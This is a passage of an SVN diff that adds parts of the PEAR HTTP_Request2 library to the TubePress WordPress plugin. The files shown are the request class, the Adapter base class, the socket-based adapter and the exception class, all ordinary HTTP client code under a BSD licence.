+    * Content-Type of HTTP request to 'multipart/form-data'.
+    *
+    * If you just want to send the contents of a file as the body of HTTP
+    * request you should use setBody() method.
+    *
+    * @param    string  name of file-upload field
+    * @param    mixed   full name of local file
+    * @param    string  filename to send in the request 
+    * @param    string  content-type of file being uploaded
+    * @return   HTTP_Request2
+    * @throws   net_php_pear_HTTP_Request2_Exception
+    */
+    public function addUpload($fieldName, $filename, $sendFilename = null,
+                              $contentType = null)
+    {
+        if (!is_array($filename)) {
+            if (!($fp = @fopen($filename, 'rb'))) {
+                throw new net_php_pear_HTTP_Request2_Exception("Cannot open file {$filename}");
+            }
+            $this->uploads[$fieldName] = array(
+                'fp'        => $fp,
+                'filename'  => empty($sendFilename)? basename($filename): $sendFilename,
+                'size'      => filesize($filename),
+                'type'      => empty($contentType)? self::detectMimeType($filename): $contentType
+            );
+        } else {
+            $fps = $names = $sizes = $types = array();
+            foreach ($filename as $f) {
+                if (!is_array($f)) {
+                    $f = array($f);
+                }
+                if (!($fp = @fopen($f[0], 'rb'))) {
+                    throw new net_php_pear_HTTP_Request2_Exception("Cannot open file {$f[0]}");
+                }
+                $fps[]   = $fp;
+                $names[] = empty($f[1])? basename($f[0]): $f[1];
+                $sizes[] = filesize($f[0]);
+                $types[] = empty($f[2])? self::detectMimeType($f[0]): $f[2];
+            }
+            $this->uploads[$fieldName] = array(
+                'fp' => $fps, 'filename' => $names, 'size' => $sizes, 'type' => $types
+            );
+        }
+        if (empty($this->headers['content-type']) ||
+            'application/x-www-form-urlencoded' == $this->headers['content-type']
+        ) {
+            $this->setHeader('content-type', 'multipart/form-data');
+        }
+
+        return $this;
+    }
+
+   /**
+    * Adds POST parameter(s) to the request.
+    *
+    * @param    string|array    parameter name or array ('name' => 'value')
+    * @param    mixed           parameter value (can be an array)
+    * @return   HTTP_Request2
+    */
+    public function addPostParameter($name, $value = null)
+    {
+        if (!is_array($name)) {
+            $this->postParams[$name] = $value;
+        } else {
+            foreach ($name as $k => $v) {
+                $this->addPostParameter($k, $v);
+            }
+        }
+        if (empty($this->headers['content-type'])) {
+            $this->setHeader('content-type', 'application/x-www-form-urlencoded');
+        }
+
+        return $this;
+    }
+
+   /**
+    * Notifies all observers
+    */
+    public function notify()
+    {
+        foreach ($this->observers as $observer) {
+            $observer->update($this);
+        }
+    }
+
+   /**
+    * Sets the last event
+    *
+    * Adapters should use this method to set the current state of the request
+    * and notify the observers.
+    *
+    * @param    string  event name
+    * @param    mixed   event data
+    */
+    public function setLastEvent($name, $data = null)
+    {
+        $this->lastEvent = array(
+            'name' => $name,
+            'data' => $data
+        );
+        $this->notify();
+    }
+
+   /**
+    * Returns the last event
+    *
+    * Observers should use this method to access the last change in request.
+    * The following event names are possible:
+    * <ul>
+    *   <li>'connect'                 - after connection to remote server,
+    *                                   data is the destination (string)</li>
+    *   <li>'disconnect'              - after disconnection from server</li>
+    *   <li>'sentHeaders'             - after sending the request headers,
+    *                                   data is the headers sent (string)</li>
+    *   <li>'sentBodyPart'            - after sending a part of the request body, 
+    *                                   data is the length of that part (int)</li>
+    *   <li>'receivedHeaders'         - after receiving the response headers,
+    *                                   data is HTTP_Request2_Response object</li>
+    *   <li>'receivedBodyPart'        - after receiving a part of the response
+    *                                   body, data is that part (string)</li>
+    *   <li>'receivedEncodedBodyPart' - as 'receivedBodyPart', but data is still
+    *                                   encoded by Content-Encoding</li>
+    *   <li>'receivedBody'            - after receiving the complete response
+    *                                   body, data is HTTP_Request2_Response object</li>
+    * </ul>
+    * Different adapters may not send all the event types. Mock adapter does
+    * not send any events to the observers.
+    *
+    * @return   array   The array has two keys: 'name' and 'data'
+    */
+    public function getLastEvent()
+    {
+        return $this->lastEvent;
+    }
+
+   /**
+    * Sets the adapter used to actually perform the request
+    *
+    * You can pass either an instance of a class implementing HTTP_Request2_Adapter
+    * or a class name. The method will only try to include a file if the class
+    * name starts with HTTP_Request2_Adapter_, it will also try to prepend this
+    * prefix to the class name if it doesn't contain any underscores, so that
+    * <code>
+    * $request->setAdapter('curl');
+    * </code>
+    * will work.
+    *
+    * @param    string|HTTP_Request2_Adapter
+    * @return   HTTP_Request2
+    * @throws   net_php_pear_HTTP_Request2_Exception
+    */
+    public function setAdapter($adapter)
+    {
+        if (is_string($adapter)) {
+            if (!class_exists($adapter, false)) {
+                if (false === strpos($adapter, '_')) {
+                    $adapter = 'net_php_pear_HTTP_Request2_Adapter_' . ucfirst($adapter);
+                }
+                if (preg_match('/^net_php_pear_HTTP_Request2_Adapter_([a-zA-Z0-9]+)$/', $adapter)) {
+                    
+                }
+                if (!class_exists($adapter, false)) {
+                    throw new net_php_pear_HTTP_Request2_Exception("Class {$adapter} not found");
+                }
+            }
+            $adapter = new $adapter;
+        }
+        if (!$adapter instanceof net_php_pear_HTTP_Request2_Adapter) {
+            throw new net_php_pear_HTTP_Request2_Exception('Parameter is not a HTTP request adapter');
+        }
+        $this->adapter = $adapter;
+
+        return $this;
+    }
+
+   /**
+    * Sends the request and returns the response
+    *
+    * @throws   net_php_pear_HTTP_Request2_Exception
+    * @return   net_php_pear_HTTP_Request2_Response
+    */
+    public function send()
+    {
+        // Sanity check for URL
+        if (!$this->url instanceof net_php_pear_Net_URL2) {
+            throw new net_php_pear_HTTP_Request2_Exception('No URL given');
+        } elseif (!$this->url->isAbsolute()) {
+            throw new net_php_pear_HTTP_Request2_Exception('Absolute URL required');
+        } elseif (!in_array(strtolower($this->url->getScheme()), array('https', 'http'))) {
+            throw new net_php_pear_HTTP_Request2_Exception('Not a HTTP URL');
+        }
+        if (empty($this->adapter)) {
+            $this->setAdapter($this->getConfigValue('adapter'));
+        }
+        // magic_quotes_runtime may break file uploads and chunked response
+        // processing; see bug #4543
+        if ($magicQuotes = ini_get('magic_quotes_runtime')) {
+            ini_set('magic_quotes_runtime', false);
+        }
+        // force using single byte encoding if mbstring extension overloads
+        // strlen() and substr(); see bug #1781, bug #10605
+        if (extension_loaded('mbstring') && (2 & ini_get('mbstring.func_overload'))) {
+            $oldEncoding = mb_internal_encoding();
+            mb_internal_encoding('iso-8859-1');
+        }
+
+        try {
+            $response = $this->adapter->sendRequest($this);
+        } catch (Exception $e) {
+        }
+        // cleanup in either case (poor man's "finally" clause)
+        if ($magicQuotes) {
+            ini_set('magic_quotes_runtime', true);
+        }
+        if (!empty($oldEncoding)) {
+            mb_internal_encoding($oldEncoding);
+        }
+        // rethrow the exception
+        if (!empty($e)) {
+            throw $e;
+        }
+        return $response;
+    }
+
+   /**
+    * Tries to detect MIME type of a file
+    *
+    * The method will try to use fileinfo extension if it is available,
+    * deprecated mime_content_type() function in the other case. If neither
+    * works, default 'application/octet-stream' MIME type is returned
+    *
+    * @param    string  filename
+    * @return   string  file MIME type
+    */
+    protected static function detectMimeType($filename)
+    {
+        // finfo extension from PECL available 
+        if (function_exists('finfo_open')) {
+            if (!isset(self::$_fileinfoDb)) {
+                self::$_fileinfoDb = @finfo_open(FILEINFO_MIME);
+            }
+            if (self::$_fileinfoDb) { 
+                $info = finfo_file(self::$_fileinfoDb, $filename);
+            }
+        }
+        // (deprecated) mime_content_type function available
+        if (empty($info) && function_exists('mime_content_type')) {
+            return mime_content_type($filename);
+        }
+        return empty($info)? 'application/octet-stream': $info;
+    }
+}
+?>
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/classes/net/php/pear/HTTP/Request2/Adapter.class.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/classes/net/php/pear/HTTP/Request2/Adapter.class.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/classes/net/php/pear/HTTP/Request2/Adapter.class.php	(revision 44)
@@ -0,0 +1,149 @@
+<?php
+/**
+ * Base class for HTTP_Request2 adapters
+ *
+ * PHP version 5
+ *
+ * LICENSE:
+ *
+ * Copyright (c) 2008, Alexey Borzov <avb@php.net>
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions
+ * are met:
+ *
+ *    * Redistributions of source code must retain the above copyright
+ *      notice, this list of conditions and the following disclaimer.
+ *    * Redistributions in binary form must reproduce the above copyright
+ *      notice, this list of conditions and the following disclaimer in the
+ *      documentation and/or other materials provided with the distribution.
+ *    * The names of the authors may not be used to endorse or promote products
+ *      derived from this software without specific prior written permission.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS
+ * IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO,
+ * THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
+ * PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
+ * CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
+ * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
+ * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
+ * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY
+ * OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING
+ * NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
+ * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+ *
+ * @category   HTTP
+ * @package    HTTP_Request2
+ * @author     Alexey Borzov <avb@php.net>
+ * @license    http://opensource.org/licenses/bsd-license.php New BSD License
+ * @version    CVS: $Id: Adapter.php,v 1.2 2008/11/17 12:30:12 avb Exp $
+ * @link       http://pear.php.net/package/HTTP_Request2
+ */
+
+/**
+ * Class representing a HTTP response
+ */
+
+/**
+ * Base class for HTTP_Request2 adapters
+ *
+ * HTTP_Request2 class itself only defines methods for aggregating the request
+ * data, all actual work of sending the request to the remote server and 
+ * receiving its response is performed by adapters.
+ *
+ * @category   HTTP
+ * @package    HTTP_Request2
+ * @author     Alexey Borzov <avb@php.net>
+ * @version    Release: 0.1.0
+ */
+abstract class net_php_pear_HTTP_Request2_Adapter
+{
+   /**
+    * A list of methods that MUST NOT have a request body, per RFC 2616
+    * @var  array
+    */
+    protected static $bodyDisallowed = array('TRACE');
+
+   /**
+    * Methods having defined semantics for request body
+    *
+    * Content-Length header (indicating that the body follows, section 4.3 of
+    * RFC 2616) will be sent for these methods even if no body was added
+    *
+    * @var  array
+    * @link http://pear.php.net/bugs/bug.php?id=12900
+    * @link http://pear.php.net/bugs/bug.php?id=14740
+    */
+    protected static $bodyRequired = array('POST', 'PUT');
+
+   /**
+    * Request being sent
+    * @var  HTTP_Request2
+    */
+    protected $request;
+
+   /**
+    * Request body
+    * @var  string|resource|net_php_pear_HTTP_Request2_MultipartBody
+    * @see  HTTP_Request2::getBody()
+    */
+    protected $requestBody;
+
+   /**
+    * Length of the request body
+    * @var  integer
+    */
+    protected $contentLength;
+
+   /**
+    * Sends request to the remote server and returns its response
+    *
+    * @param    HTTP_Request2
+    * @return   net_php_pear_HTTP_Request2_Response
+    * @throws   net_php_pear_HTTP_Request2_Exception
+    */
+    abstract public function sendRequest(net_php_pear_HTTP_Request2 $request);
+
+   /**
+    * Calculates length of the request body, adds proper headers
+    *
+    * @param    array   associative array of request headers, this method will 
+    *                   add proper 'Content-Length' and 'Content-Type' headers 
+    *                   to this array (or remove them if not needed)
+    */
+    protected function calculateRequestLength(&$headers)
+    {
+        $this->requestBody = $this->request->getBody();
+
+        if (is_string($this->requestBody)) {
+            $this->contentLength = strlen($this->requestBody);
+        } elseif (is_resource($this->requestBody)) {
+            $stat = fstat($this->requestBody);
+            $this->contentLength = $stat['size'];
+        } else {
+            $this->contentLength = $this->requestBody->getLength();
+            $headers['content-type'] = 'multipart/form-data; boundary=' .
+                                       $this->requestBody->getBoundary();
+        }
+
+        if (in_array($this->request->getMethod(), self::$bodyDisallowed) ||
+            0 == $this->contentLength
+        ) {
+            unset($headers['content-type']);
+            // No body: send a Content-Length header nonetheless (request #12900),
+            // but do that only for methods that require a body (bug #14740)
+            if (in_array($this->request->getMethod(), self::$bodyRequired)) {
+                $headers['content-length'] = 0;
+            } else {
+                unset($headers['content-length']);
+            }
+        } else {
+            if (empty($headers['content-type'])) {
+                $headers['content-type'] = 'application/x-www-form-urlencoded';
+            }
+            $headers['content-length'] = $this->contentLength;
+        }
+    }
+}
+?>
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/classes/net/php/pear/HTTP/Request2/Adapter/Socket.class.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/classes/net/php/pear/HTTP/Request2/Adapter/Socket.class.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/classes/net/php/pear/HTTP/Request2/Adapter/Socket.class.php	(revision 44)
@@ -0,0 +1,451 @@
+<?php
+/**
+ * Socket-based adapter for HTTP_Request2
+ *
+ * PHP version 5
+ *
+ * LICENSE:
+ *
+ * Copyright (c) 2008, Alexey Borzov <avb@php.net>
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions
+ * are met:
+ *
+ *    * Redistributions of source code must retain the above copyright
+ *      notice, this list of conditions and the following disclaimer.
+ *    * Redistributions in binary form must reproduce the above copyright
+ *      notice, this list of conditions and the following disclaimer in the
+ *      documentation and/or other materials provided with the distribution.
+ *    * The names of the authors may not be used to endorse or promote products
+ *      derived from this software without specific prior written permission.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS
+ * IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO,
+ * THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
+ * PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
+ * CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
+ * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
+ * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
+ * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY
+ * OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING
+ * NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
+ * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+ *
+ * @category   HTTP
+ * @package    HTTP_Request2
+ * @author     Alexey Borzov <avb@php.net>
+ * @license    http://opensource.org/licenses/bsd-license.php New BSD License
+ * @version    CVS: $Id: Socket.php,v 1.2 2008/11/17 12:30:12 avb Exp $
+ * @link       http://pear.php.net/package/HTTP_Request2
+ */
+
+/**
+ * Base class for HTTP_Request2 adapters
+ */
+
+function_exists('tubepress_load_classes')
+    || require(dirname(__FILE__) . '/../../../../../../tubepress_classloader.php');
+tubepress_load_classes(array('net_php_pear_HTTP_Request2_Adapter',
+    'net_php_pear_HTTP_Request2',
+    'net_php_pear_HTTP_Request2_Exception',
+    'net_php_pear_HTTP_Request2_Response'));
+
+/**
+ * Socket-based adapter for HTTP_Request2
+ *
+ * This adapter uses only PHP sockets and will work on almost any PHP
+ * environment. Code is based on original HTTP_Request PEAR package.
+ *
+ * @category   HTTP
+ * @package    HTTP_Request2
+ * @author     Alexey Borzov <avb@php.net>
+ * @version    Release: 0.1.0
+ * @todo       Implement HTTPS proxy support via stream_socket_enable_crypto()
+ * @todo       Implement Digest authentication support
+ * @todo       Proper read timeout handling
+ * @todo        Support various SSL options
+ */
+class net_php_pear_HTTP_Request2_Adapter_Socket extends net_php_pear_HTTP_Request2_Adapter
+{
+   /**
+    * Connected sockets, needed for Keep-Alive support
+    * @var  array
+    * @see  connect()
+    */
+    protected static $sockets;
+
+   /**
+    * Connected socket
+    * @var  resource
+    * @see  connect()
+    */
+    protected $socket;
+
+   /**
+    * Remaining length of the current chunk, when reading chunked response
+    * @var  integer
+    * @see  readChunked()
+    */ 
+    protected $chunkLength = 0;
+
+   /**
+    * Sends request to the remote server and returns its response
+    *
+    * @param    HTTP_Request2
+    * @return   net_php_pear_HTTP_Request2_Response
+    * @throws   net_php_pear_HTTP_Request2_Exception
+    */
+    public function sendRequest(net_php_pear_HTTP_Request2 $request)
+    {
+        $this->request = $request;
+        $keepAlive     = $this->connect();
+        $headers       = $this->prepareHeaders();
+
+        try {
+            if (false === @fwrite($this->socket, $headers, strlen($headers))) {
+                throw new net_php_pear_HTTP_Request2_Exception('Error writing request');
+            }
+            // provide request headers to the observer, see request #7633
+            $this->request->setLastEvent('sentHeaders', $headers);
+            $this->writeBody();
+
+            $response = $this->readResponse();
+
+            // check whether we should keep the connection open
+            $lengthKnown = 'chunked' == strtolower($response->getHeader('transfer-encoding')) ||
+                           null !== $response->getHeader('content-length');
+            $persistent  = 'keep-alive' == strtolower($response->getHeader('connection')) ||
+                           (null === $response->getHeader('connection') &&
+                            '1.1' == $response->getVersion());
+            if (!$keepAlive || !$lengthKnown || !$persistent) {
+                $this->disconnect();
+            }
+
+        } catch (Exception $e) {
+            throw $e;
+        }
+        return $response;
+    }
+
+   /**
+    * Connects to the remote server
+    *
+    * @return   bool    whether the connection can be persistent
+    * @throws   net_php_pear_HTTP_Request2_Exception
+    */
+    protected function connect()
+    {
+        if ($host = $this->request->getConfigValue('proxy_host')) {
+            if (!($port = $this->request->getConfigValue('proxy_port'))) {
+                throw new net_php_pear_HTTP_Request2_Exception('Proxy port not provided');
+            }
+            $proxy = true;
+        } else {
+            $host = $this->request->getUrl()->getHost();
+            if (!($port = $this->request->getUrl()->getPort())) {
+                $port = 0 == strcasecmp(
+                            $this->request->getUrl()->getScheme(), 'https'
+                        )? 443: 80;
+            }
+            $proxy = false;
+        }
+
+        if (0 == strcasecmp($this->request->getUrl()->getScheme(), 'https')) {
+            if ($proxy) {
+                throw new net_php_pear_HTTP_Request2_Exception('HTTPS proxy support not yet implemented');
+            } elseif (!in_array('ssl', stream_get_transports())) {
+                throw new net_php_pear_HTTP_Request2_Exception('Need OpenSSL support for https:// requests');
+            }
+            $host = 'ssl://' . $host;
+        } else {
+            $host = 'tcp://' . $host;
+        }
+
+        $headers = $this->request->getHeaders();
+
+        // RFC 2068, section 19.7.1: A client MUST NOT send the Keep-Alive
+        // connection token to a proxy server...
+        if ($proxy && !empty($headers['connection']) && 'Keep-Alive' == $headers['connection'])
+        {
+            $this->request->setHeader('connection');
+        }
+
+        $keepAlive = ('1.1' == $this->request->getConfigValue('protocol_version') && 
+                      empty($headers['connection'])) ||
+                     (!empty($headers['connection']) &&
+                      'Keep-Alive' == $headers['connection']);
+        $socketKey = $host . ':' . $port;
+        unset($this->socket);
+
+        // We use persistent connections and have a connected socket?
+        if ($keepAlive && !empty(self::$sockets[$socketKey])) {
+            $this->socket =& self::$sockets[$socketKey];
+        } else {
+            $this->socket = stream_socket_client(
+                $socketKey, $errno, $errstr, 
+                $this->request->getConfigValue('connect_timeout'),
+                STREAM_CLIENT_CONNECT
+            );
+            if (!$this->socket) {
+                throw new net_php_pear_HTTP_Request2_Exception(
+                    'Unable to connect to ' . $socketKey . '. Error #' . $errno .
+                    ': ' . $errstr
+                );
+            }
+            $this->request->setLastEvent('connect', $socketKey);
+            self::$sockets[$socketKey] =& $this->socket;
+        }
+        return $keepAlive;
+    }
+
+   /**
+    * Disconnects from the remote server
+    */
+    protected function disconnect()
+    {
+        if (is_resource($this->socket)) {
+            fclose($this->socket);
+            $this->socket = null;
+            $this->request->setLastEvent('disconnect');
+        }
+    }
+
+   /**
+    * Creates the value for '[Proxy-]Authorization:' header
+    *
+    * @param    string  user name
+    * @param    string  password
+    * @param    string  authentication scheme, one of the HTTP_Request2::AUTH_* constants
+    * @return   string  header value
+    * @throws   net_php_pear_HTTP_Request2_Exception
+    */
+    protected function createAuthHeader($user, $pass, $scheme)
+    {
+        switch ($scheme) {
+            case net_php_pear_HTTP_Request2::AUTH_BASIC:
+                return 'Basic ' . base64_encode($user . ':' . $pass);
+
+            case net_php_pear_HTTP_Request2::AUTH_DIGEST:
+                throw new net_php_pear_HTTP_Request2_Exception('Digest authentication is not implemented yet.');
+
+            default:
+                throw new net_php_pear_HTTP_Request2_Exception("Unknown HTTP authentication scheme '{$scheme}'");
+        }
+    }
+
+   /**
+    * Creates the string with the Request-Line and request headers
+    *
+    * @return   string
+    * @throws   net_php_pear_HTTP_Request2_Exception
+    */
+    protected function prepareHeaders()
+    {
+        $headers = $this->request->getHeaders();
+        $url     = $this->request->getUrl();
+
+        $host    = $url->getHost();
+        if ($port = $url->getPort()) {
+            $scheme = $url->getScheme();
+            if ((0 == strcasecmp($scheme, 'http') && 80 != $port) ||
+                (0 == strcasecmp($scheme, 'https') && 443 != $port)
+            ) {
+                $host .= ':' . $port;
+            }
+        }
+        $headers['host'] = $host;
+
+        if (!$this->request->getConfigValue('proxy_host')) {
+            $requestUrl = '';
+        } else {
+            if ($user = $this->request->getConfigValue('proxy_user')) {
+                $headers['proxy-authorization'] = $this->createAuthHeader(
+                    $user, $this->request->getConfigValue('proxy_password'),
+                    $this->request->getConfigValue('proxy_auth_scheme')
+                );
+            }
+            $requestUrl = $url->getScheme() . '://' . $host;
+        }
+        $path        = $url->getPath();
+        $query       = $url->getQuery();
+        $requestUrl .= (empty($path)? '/': $path) . (empty($query)? '': '?' . $query);
+
+        if ($auth = $this->request->getAuth()) {
+            $headers['authorization'] = $this->createAuthHeader(
+                $auth['user'], $auth['password'], $auth['scheme']
+            );
+        }
+        if ('1.1' == $this->request->getConfigValue('protocol_version') &&
+            extension_loaded('zlib') && !isset($headers['accept-encoding'])
+        ) {
+            $headers['accept-encoding'] = 'gzip, deflate';
+        }
+
+        $this->calculateRequestLength($headers);
+
+        $headersStr = $this->request->getMethod() . ' ' . $requestUrl . ' HTTP/' .
+                      $this->request->getConfigValue('protocol_version') . "\r\n";
+        foreach ($headers as $name => $value) {
+            $canonicalName = implode('-', array_map('ucfirst', explode('-', $name)));
+            $headersStr   .= $canonicalName . ': ' . $value . "\r\n";
+        }
+        return $headersStr . "\r\n";
+    }
+
+   /**
+    * Sends the request body
+    *
+    * @throws   net_php_pear_HTTP_Request2_Exception
+    */
+    protected function writeBody()
+    {
+        if (in_array($this->request->getMethod(), self::$bodyDisallowed) ||
+            0 == $this->contentLength
+        ) {
+            return;
+        }
+
+        $position   = 0;
+        $bufferSize = $this->request->getConfigValue('buffer_size');
+        while ($position < $this->contentLength) {
+            if (is_string($this->requestBody)) {
+                $str = substr($this->requestBody, $position, $bufferSize);
+            } elseif (is_resource($this->requestBody)) {
+                $str = fread($this->requestBody, $bufferSize);
+            } else {
+                $str = $this->requestBody->read($bufferSize);
+            }
+            if (false === @fwrite($this->socket, $str, strlen($str))) {
+                throw new net_php_pear_HTTP_Request2_Exception('Error writing request');
+            }
+            // Provide the length of written string to the observer, request #7630
+            $this->request->setLastEvent('sentBodyPart', strlen($str));
+            $position += strlen($str); 
+        }
+    }
+
+   /**
+    * Reads the remote server's response
+    *
+    * @return   net_php_pear_HTTP_Request2_Response
+    * @throws   net_php_pear_HTTP_Request2_Exception
+    */
+    protected function readResponse()
+    {
+        $bufferSize = $this->request->getConfigValue('buffer_size');
+
+        do {
+            $response = new net_php_pear_HTTP_Request2_Response($this->readLine($bufferSize), true);
+            do {
+                $headerLine = $this->readLine($bufferSize);
+                $response->parseHeaderLine($headerLine);
+            } while ('' != $headerLine);
+        } while (in_array($response->getStatus(), array(100, 101)));
+
+        $this->request->setLastEvent('receivedHeaders', $response);
+
+        // No body possible in such responses
+        if (net_php_pear_HTTP_Request2::METHOD_HEAD == $this->request->getMethod() ||
+            in_array($response->getStatus(), array(204, 304))
+        ) {
+            return $response;
+        }
+
+        $chunked = 'chunked' == $response->getHeader('transfer-encoding');
+        $length  = $response->getHeader('content-length');
+        $hasBody = false;
+        if ($chunked || null === $length || 0 < intval($length)) {
+            // RFC 2616, section 4.4:
+            // 3. ... If a message is received with both a
+            // Transfer-Encoding header field and a Content-Length header field,
+            // the latter MUST be ignored.
+            $toRead = ($chunked || null === $length)? null: $length;
+            $this->chunkLength = 0;
+
+            while (!feof($this->socket) && (is_null($toRead) || 0 < $toRead)) {
+                if ($chunked) {
+                    $data = $this->readChunked($bufferSize);
+                } elseif (is_null($toRead)) {
+                    $data = fread($this->socket, $bufferSize);
+                } else {
+                    $data    = fread($this->socket, min($toRead, $bufferSize));
+                    $toRead -= strlen($data);
+                }
+                if ('' == $data && (!$this->chunkLength || feof($this->socket))) {
+                    break;
+                }
+
+                $hasBody = true;
+                $response->appendBody($data);
+                if (!in_array($response->getHeader('content-encoding'), array('identity', null))) {
+                    $this->request->setLastEvent('receivedEncodedBodyPart', $data);
+                } else {
+                    $this->request->setLastEvent('receivedBodyPart', $data);
+                }
+            }
+        }
+
+        if ($hasBody) {
+            $this->request->setLastEvent('receivedBody', $response);
+        }
+        return $response;
+    }
+
+   /**
+    * Reads until either the end of the socket or a newline, whichever comes first 
+    *
+    * Strips the trailing newline from the returned data. Method borrowed from
+    * Net_Socket PEAR package.
+    *
+    * @param    int     buffer size to use for reading
+    * @return   Available data up to the newline (not including newline)
+    */
+    protected function readLine($bufferSize)
+    {
+        $line = '';
+        while (!feof($this->socket)) {
+            $line .= @fgets($this->socket, $bufferSize);
+            if (substr($line, -1) == "\n") {
+                return rtrim($line, "\r\n");
+            }
+        }
+        return $line;
+    }
+
+   /**
+    * Reads a part of response body encoded with chunked Transfer-Encoding
+    *
+    * @param    int     buffer size to use for reading
+    * @return   string
+    * @throws   net_php_pear_HTTP_Request2_Exception
+    */
+    protected function readChunked($bufferSize)
+    {
+        // at start of the next chunk?
+        if (0 == $this->chunkLength) {
+            $line = $this->readLine($bufferSize);
+            if (!preg_match('/^([0-9a-f]+)/i', $line, $matches)) {
+                throw new net_php_pear_HTTP_Request2_Exception(
+                    "Cannot decode chunked response, invalid chunk length '{$line}'"
+                );
+            } else {
+                $this->chunkLength = hexdec($matches[1]);
+                // Chunk with zero length indicates the end
+                if (0 == $this->chunkLength) {
+                    $this->readLine($bufferSize);
+                    return '';
+                }
+            }
+        }
+        $data = fread($this->socket, min($this->chunkLength, $bufferSize));
+        $this->chunkLength -= strlen($data);
+        if (0 == $this->chunkLength) {
+            $this->readLine($bufferSize); // Trailing CRLF
+        }
+        return $data;
+    }
+}
+
+?>
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/classes/net/php/pear/HTTP/Request2/Exception.class.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/classes/net/php/pear/HTTP/Request2/Exception.class.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/classes/net/php/pear/HTTP/Request2/Exception.class.php	(revision 44)
@@ -0,0 +1,64 @@
+<?php
+/**
+ * Exception class for HTTP_Request2 package
+ *
+ * PHP version 5
+ *
+ * LICENSE:
+ *
+ * Copyright (c) 2008, Alexey Borzov <avb@php.net>
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions
+ * are met:
+ *
+ *    * Redistributions of source code must retain the above copyright
+ *      notice, this list of conditions and the following disclaimer.
+ *    * Redistributions in binary form must reproduce the above copyright
+ *      notice, this list of conditions and the following disclaimer in the
+ *      documentation and/or other materials provided with the distribution.
+ *    * The names of the authors may not be used to endorse or promote products
+ *      derived from this software without specific prior written permission.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS
+ * IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO,
+ * THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
+ * PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
+ * CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
+ * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
+ * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
+ * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY
+ * OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING
+ * NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
+ * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+ *
+ * @category   HTTP
+ * @package    HTTP_Request2
+ * @author     Alexey Borzov <avb@php.net>
+ * @license    http://opensource.org/licenses/bsd-license.php New BSD License
+ * @version    CVS: $Id: Exception.php,v 1.1 2008/11/05 20:20:11 avb Exp $
+ * @link       http://pear.php.net/package/HTTP_Request2
+ */
+
+function_exists('tubepress_load_classes')
+    || require(dirname(__FILE__) . '/../../../../../tubepress_classloader.php');
+tubepress_load_classes(array('net_php_pear_PEAR_Exception'));
+
+/**
+ * Base class for exceptions in PEAR
+ */
+/**
+ * Exception class for HTTP_Request2 package
+ *
+ * Such a class is required by the Exception RFC:
+ * http://pear.php.net/pepr/pepr-proposal-show.php?id=132
+ *
+ * @category   HTTP
+ * @package    HTTP_Request2
+ * @version    Release: 0.1.0
+ */
